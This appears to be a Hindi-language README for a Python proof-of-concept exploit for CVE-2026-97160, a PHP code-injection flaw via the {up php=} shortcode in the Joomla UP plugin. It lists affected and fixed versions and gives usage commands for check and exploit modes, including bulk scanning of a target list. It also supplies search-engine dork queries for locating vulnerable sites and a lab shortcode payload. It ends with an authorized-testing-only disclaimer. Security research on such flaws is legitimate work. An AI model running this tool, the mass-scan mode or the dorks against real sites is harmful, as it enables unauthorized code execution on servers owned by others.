murrez/cve-2026-97160CVE-2026-97160 के लिए Python PoC: कमजोर Joomla UP प्लगइन संस्करणों का पता लगाता है और सार्वजनिक लेखों में {up php=} शॉर्टकोड के माध्यम से PHP कोड निष्पादन की पुष्टि करता है।
Joomla के लिए CVE-2026-97160 — UP (Universal Plugin) (lomart.fr / up.lomart.fr) के लिए Python 3 PoC।
CVE-2026-97160 — UP प्लगइन 5.0.0–5.2.0 और 6.0.0–6.0.29 eval() के साथ संसाधित {up php=...} शॉर्टकोड के माध्यम से PHP कोड इंजेक्शन की अनुमति देते हैं (CWE-94)। CNA इसे प्रमाणित / उच्च विशेषाधिकार के रूप में वर्गीकृत करता है; 6.1.0 / 5.2.1 से पहले, लेख लेखक save बनाम render नाम सामान्यीकरण के माध्यम से आरक्षित-क्रिया जाँचों को बायपास कर सकते थे, इसलिए किसी लेख में PHP प्रत्येक आगंतुक के लिए चलता था। CVSS 4.0 9.4 Critical। समाधान: UP 6.1.0 (Joomla 5.2+) या 5.2.1 (Joomla 3.10–5.1)।
संबंधित (समान रिलीज़): CVE-2026-97161 (फ़ाइल पठन / ट्रैवर्सल), CVE-2026-97162 (SQLi), CVE-2026-97163 (GitHub मिनी-इंस्टॉल)।
PoC पृष्ठ: https://pocbit.org/pocs/cve-2026-97160
कैटलॉग: https://pocbit.org/pocs/
| उत्पाद | Joomla के लिए UP प्लगइन (plg_content_up) |
| पथ | plugins/content/up/ |
| प्रभावित | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| ठीक किया गया | 5.2.1, 6.1.0 |
| वेक्टर | लेख/मॉड्यूल शॉर्टकोड {up php=...} |
| आवंटक | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10
लैब: व्यवस्थापक के रूप में (या कमज़ोर बिल्ड पर लेखक के रूप में), लेख के मुख्य भाग में जोड़ें:
{up php=echo 'POCBIT-97160-OK';}
प्रकाशित करें, फिर --mode exploit --article-url <public URL> चलाएँ।
body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"
CVE-2026-97160 PoC: Joomla UP (lomart.fr) ≤6.0.29 / ≤5.2.0 — विशेषाधिकार प्राप्त {up php=} शॉर्टकोड eval कोड इंजेक्शन (पुराने बिल्ड पर लेखक बायपास)। PoCbit
CVE-2026-97160: Joomla UP एक्सटेंशन में {up php=...} के माध्यम से सर्वर पर PHP निष्पादन; 6.1.0 / 5.2.1 के साथ ठीक किया गया।
केवल अधिकृत परीक्षण। जिन साइटों के आप स्वामी नहीं हैं, उन पर दुर्भावनापूर्ण शॉर्टकोड प्रकाशित न करें।